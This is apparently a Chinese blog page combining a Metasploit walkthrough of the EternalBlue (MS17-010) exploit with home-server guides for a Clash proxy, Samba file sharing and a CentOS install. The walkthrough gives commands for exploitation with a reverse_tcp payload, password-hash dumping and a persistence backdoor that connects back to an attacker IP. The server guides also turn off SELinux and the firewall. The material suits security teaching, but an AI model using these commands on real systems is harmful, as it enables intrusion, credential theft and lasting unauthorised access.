分类 技术 下的文章

一、简介

ms17-010漏洞即永恒之蓝漏洞,是微软在smb服务上的一大漏洞。此漏洞危害极大,曾经使得上百万个公网文件服务器都面临着黑客的勒索攻击,系统全部瘫痪。

metasploit framework是一个提供给安全渗透人员的工具,可以利用自动化的脚本和服务进行渗透测试。今天,我们就从永恒之蓝漏洞入手,学习metasploit的相关使用方法。

二、搭建kali运行环境

这个不是重点,我们一带而过。

1.进入官网下载

Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution

image-20230611152205338.png

2.安装到虚拟机

image-20230611152245130.png

三、基础知识

首先输入msfconsole打开控制台

image-20230611152443477.png
我们首先需要了解msf的相关基础知识

msf提供了很多module为我们实施自动化的渗透测试,其中分为exploit、auxiliary、post三个部分

exploit是直接的漏洞利用,最终目的是获取到meterpreter——一个后渗透的shell。

auxiliary是辅助模块,可以帮我们发现漏洞、扫描端口等。

post中有大量的后渗透模块,例如利用已经获取的meterpreter开启远程桌面连接、生成持续性后门等。

meterpreter是一个后渗透的shell,我们进行msf框架下的渗透的一切目的就是为了获取到meterpreter。

meterpreter的权限是有限制的,所以我们常常会用到post里的模块利用系统漏洞进行提权。这里面常用的模块就是绕过uac用户控制系统。

payload是攻击载荷,是进行漏洞攻击后要执行的一组指令,这种指令往往能够帮助我们获得meterpreter。我们也会用反弹shell等方法来获取meterpreter——也就是木马植入,这个反弹shell本身就是一种payload。shellcode是一组机器指令,往往作为payload被执行。

encoder包含一系列的编码措施,其中最为有效的通常是shikata,这是为了木马不被杀毒软件查杀或者避免出现一些字符而准备的。

然而随着杀毒软件的不断更新,对病毒程序进行编码已经逃不过杀毒程序的法眼,于是msf为我们提供了evasion模块进行病毒软件的反杀。

当我们需要查找相应模块时,可以使用search查找,然后用use进入到该模块。

进入到该模块后,我们要用show options来设置相应的参数。

例如 set payload windows/meterpreter/reverse_tcp

四、实践

1、扫描漏洞

我们首先查找相应模块

image-20230611153421415.png

我们用第三个进行扫描。
image-20230611153524172.png

可以看到,这里需要我们设置rhost的参数。它已经提前帮我们将payload设置好了。

我们设置一下目标主机的参数,然后run。

image-20230621215505073.png

可以看到,这台机器是十分容易被攻击的。我们现在调用exlpoit的相关模块进行攻击。

2、利用漏洞
use exploit/windows/smb/ms17_010_eternalblue

这里面它已经给我们设置了默认的payload,也就是reverse_tcp反向链接。

查看一下参数的配置

image-20230621220531007.png

设置目标IP,run。

image-20230621215701794.png

在此时,我们就获得了对方机器的meterpreter。这时,我们就获取了系统的meterpreter。

我们查看一下此时的权限

image-20230621215701794.png

可以看到,此时我们已经获得了系统的最高权限,这就是永恒之蓝漏洞的可怕之处。

在获取权限后首先做的事情就是开启对方的远程桌面连接,这里我们使用post模块来实现。

3、后渗透阶段

我们先来看一下系统信息

image-20230621221307462.png

1、进入对方的cmd

输入shell即可进入cmd,这是是乱码,要先通过chcp 65001转换,

image-20230621215750787.png

2、开启远程桌面连接

首先我们查看一下开放的端口

netstat -ano

image-20230621220207446.png

我们发现,对方机器的3389端口是没有打开的。此时,我们可以通过post中的模块来实现。

首先查找一下enable rdp的相关模块

image-20230621220931572.png

复制路径,run一下。

run post/windows/manage/enable_rdp

image-20230621220842850.png

3.、获取对方的密码哈希值

我们输入hashdump获取密码哈希值

image-20230621221522413.png

随便打开一个网站对其进行破解

image-20230621221545655.png

可以看到,hanran的密码就被我们得到了。

4、生成持续性后门

我们利用persistence模块来在注册表中生成可持续性后门

run persistence -A -U -i 5 -p 444 -r ip

具体就不截图了,这个极易被杀软拦截,没有什么使用价值。以后我们会详细讨论免杀技术和持续性后门。

五、总结

我们通过这次对ms17-010漏洞的利用大概理解了使用msf进行渗透攻击的基本流程,对msf基础知识有了一定的了解,对于meterpreter的使用有了一定的认识。我们通过这次渗透测试,可以得出两个收获:

1、及时安装微软发布的官方补丁是十分必要的,安装杀毒软件是十分必要的。

2、msf是一个非常方便、非常强大的工具。只有经过不断地学习和探索,才能将工具用好,而不是只当一个简单的脚本小子。

今天我们的渗透测试记录就到这里。

一、前言

家庭服务器的第一要务便是帮助全家实现科学上网。

我们分为两部分实现:

第一部分是配置clash提供相关服务;

第二部分是实现端口转发,让服务器可以作为旁路由代理流量。

二、配置clash

1、下载并安装clash

我们从GitHub上提供的官方文件下载。

image-20230305095648845.png

选择相应的版本并复制下载链接

image-20230305095727716.png

在Linux上下载并解压、重命名

wget https://github.com/Dreamacro/clash/releases/download/v1.13.0/clash-linux-amd64-v1.13.0.gz
mv clash-linux-amd64-v1.13.0.gz clash.gz
gunzip clash.gz

image-20230305095915951.png

我们为clash文件加上可执行权限并执行它

chmod +x clash
./clash

按CTRL+Z暂时退出执行,因为我们还没有设置配置文件。

此时会在root目录的用户目录下生成一个./config/clash目录

我们进入这个目录

cd ~/.config/clash

我们会发现此时存在着三个文件

image-20230305100641487.png

如果第三个文件不存在,我们可以从GitHub上下载这个文件。

image-20230305100741293.png

2、对clash进行配置

我们先从机场获取订阅链接,下载。

wget "你的订阅链接" -O config.yaml --no-check-certificate

然后我们对下载下来的配置文件进行编辑。

vim config.yaml

其中我们加入两行,然后允许局域网连接。

external-ui: dashboard
secret: 'cdc1102'
allow-lan: true

第一行让用户知道在使用哪一个外部控制器

第二行为外部控制时的密码验证,防止别人随意要登陆进

第三行允许局域网内的主机连接到本机,是外部控制的必要条件,也可以让局域网内的主机实现http代理。

image-20230305101255069.png

3、配置yacd以外部控制clash

作为服务器我们想要切换节点则需要登陆进shell,通过命令行操控。

这样的方式十分麻烦,所以我们要通过一个外部控制器。

image-20230305104528947.png

wget https://github.com/haishanh/yacd/releases/download/v0.3.8/yacd.tar.xz
tar -xf yacd.tar.xz
mv public dashboard

我们将yacd下载下来并解压、重命名。

然后建立一个apache服务器并关闭防火墙

yum install httpd -y
systemctl stop firewalld
systemctl disable firewalld

我们将yacd放到apache服务器的目录中,启动并设置自启动。

cd dashboard
cp * /var/www/html/ -r
systemctl start httpd
systemctl enable httpd

此时,访问服务器的IP地址加端口、密码即可进入网页管理界面。

image-20230324215200998.png

4、为clash创建服务

通过创建一个服务让clash能够自启,并利于管理。

我们使用systemd的方式去创建服务。

我们先把clash移动到服务目录中

mv clash /usr/local/bin

配置文件

vim /etc/systemd/system/clash.service

在其中添加如下内容

[Unit]
Description=clash service
After=network.target

[Service]
Type=simple
User=root
ExecStart=/usr/local/bin/clash
Restart=on-failure

[Install]
WantedBy=multi-user.target

启动并自启动

systemctl daemon-reload
systemctl enable clash
systemctl start clash

此时,clash就配置好了。

我们在终端中配置代理

# Proxy auto start
export https_proxy=http://127.0.0.1:7890
export http_proxy=http://127.0.0.1:7890
export all_proxy=socks5://127.0.0.1:7891
# Open proxy
on() {
    export https_proxy=http://127.0.0.1:7890
    export http_proxy=http://127.0.0.1:7890
    export all_proxy=socks5://127.0.0.1:7891
    echo "HTTP/HTTPS Proxy on"
}

# Close proxy
off() {
    unset http_proxy
    unset https_proxy
    unset all_proxy
    echo "HTTP/HTTPS Proxy off"
}

使其生效

source ~/.bashrc

三、配置路由功能

1、安装nftables

我们使用nftable来实现端口转发的功能。

yum install nftables -y
2、配置nftables

首先创建配置文件的目录

mkdir /etc/nftables.conf.d

在其中创建私有地址的定义文件

vim /etc/nftables.conf.d/private.nft

添加如下内容

define private_list = {
    0.0.0.0/8,
    10.0.0.0/8,
    127.0.0.0/8,
    169.254.0.0/16,
    172.16.0.0/12,
    192.168.0.0/16,
    224.0.0.0/4,
    240.0.0.0/4
}

修改nftables的配置文件

vim /etc/nftables.conf
#!/usr/sbin/nft -f

include "/etc/nftables.conf.d/private.nft"

table ip nat {
    chain proxy {
        ip daddr $private_list return
            ip protocol tcp redirect to :7892
    }
    chain prerouting {
        type nat hook prerouting priority 0; policy accept;
        jump proxy
    }
}

清空 nftalbes 规则,并使新规则生效

nft flush ruleset
nft -f /etc/nftables.conf

我们查看一下当前的规则

nft list ruleset

image-20230324220911169.png

最后设置 nftables开机自启动

systemctl start nftables
systemctl enable nftables

我们看一下状态

systemctl status nftables

image-20230324221017496.png

3、将网关配置成服务器的IP地址

此时将网关配置成服务器的IP地址即可实现科学上网。

大功告成!!

一、前言

家庭服务器的首选功能就是配置文件共享功能,此功能由smb服务实现。

smb是微软自主研发的,用于在Windows间文件共享的协议。我们在Linux服务器上搭建此服务,可将服务器作为文件存储的介质,并实现网络之间的共享。

二、安装smb服务

yum install samba samba-client

安装samba服务端和控制端

三、配置smb服务

1、创建smb账号

smb账号和系统账号相互独立,但smb账号依赖于系统账号。

首先我们先来创建一个系统账号并创建密码

useradd hanran
passwd hanran
#输入密码并重复

然后我们使用smb账户管理工具添加一个smb账号

smbpasswd -a hanran
#输入密码并确认

需要注意的是,smb账号必须要建立在已有的系统账号中。否则就会报错。

image-20230304193936505.png

2、编辑配置文件

smb的配置文件在/etc/samba/smb.conf中

我们使用vim编辑器进行编辑

vim /etc/samba/smb.conf

我们新建一个代码块

[hanran_files]
    path = /home/hanran/files
    browseable = yes
    writable = yes
    valid users = hanran
    available = yes
    create mode = 0664
    directory mode = 0775

image-20230304194429790.png

其中中括号为共享的文件夹名称;

path为共享文件夹的路径;

browseable表示文件夹是否可见;

若不可见,则无法通过输入IP地址直接发现此共享文件夹;

writable从smb层控制账户的可写权限;

最后两行分别声明了创建的文件和文件夹的权限。

我们再编辑一下全局配置。

image-20230304194650065.png

其中passdb backend表示密码的数据库方式。

在centos的默认配置中使用tdbsam。

该方式使用一个数据库文件来建立用户数据库。数据库文件叫passdb.tdb,默认在/etc/samba目录下。passdb.tdb用户数据库 可以使用smbpasswd –a来建立Samba用户,不过要建立的Samba用户必须先是系统用户。我们也可以使用pdbedit命令来建立Samba账户。

此方式不符合我个人的使用习惯,当Windows客户端登录时,此方式的操作用户为与服务器系统用户相同组的一个用户、我们将它改成smbpasswd,这样我们的操作用户就是系统用户本身了。

保存并退出。

systemctl enable smb
systemctl start smb

设置自启动并生效smb服务。

三、关闭selinux和防火墙

selinux是一种保护Linux系统的软件,它不允许网络上的计算机更改本服务器中的系统资源。

所以我们将selinux关闭。

1、查看selinux状态

image-20230304200308931.png

2、编辑selinux配置文件

image-20230304200553974.png

vim /etc/selinux/config

我们将selinux参数设置为0

这表示一切行为不会被阻止,但会被记录在日志中,即“permissive”模式。

3、配置centos防火墙
systemctl stop firewalld
systemctl disable firewalld

或者也可以放行相应端口

smb端口为137、138、139、445,我们将其放行。

firewall-cmd --zone=public --add-port=137/tcp --permanent
firewall-cmd --zone=public --add-port=138/tcp --permanent
firewall-cmd --zone=public --add-port=139/tcp --permanent
firewall-cmd --zone=public --add-port=445/tcp --permanent

四、大功告成!

在Windows上的文件资源管理器中键入IP地址即可访问资源。

用户名和密码为我们刚才所设置的参数。

一切大功告成!

一、简介

最初让我产生搭建一个家庭服务器的原因非常简单,仅仅是想磨练Linux管理运维技术,将其实践到生活中而已。这个动机十分单纯,但我并未曾料想过这件事情的意义之深,是远超我的预想的。

因此,本文作为该系列的第一篇博客,将阐述该服务器搭建的一切流程。

二、制作centos安装盘

经过慎重考虑,使用centos作为Linux服务器系统。其具有以下优点:

1、十分稳定,是企业服务器系统的首选。

2、安装快速,一切安装包都在u盘中本地存放,无需联网更新,比Ubuntu server快不少。

3、资源占用少,内存进展用300mb,相较Ubuntu server少100mb。

但它的软件安装的确没有Ubuntu方便,这一点也成为了之后的问题关键。

1、下载镜像

Download (centos.org)下载镜像
image-20230226141854303.png

保存到本地,重命名。

2、烧录u盘

这里我们使用rufus进行烧录。
image-20230226142025773.png
image-20230226142034390.png

将设备与镜像文件选择后点击开始,稍等片刻即刻录完毕。

centos安装盘制作完成。

三、安装centos

进入bios界面更改启动项,选择以u盘启动。

选择安装centos。

选择最小化安装,并同时安装必要的系统管理工具。

设置root密码并新建管理员账号。

半小时后大概就安装成功了。

四、进行后配置

1、先查看IP地址

image-20230226142537119.png

2、通过ssh远程登录

image-20230226142712398.png

四、大功告成!

至此,家庭服务器的配置已基本完成。我们可以在上面尽情搞事情了!

2023.2.26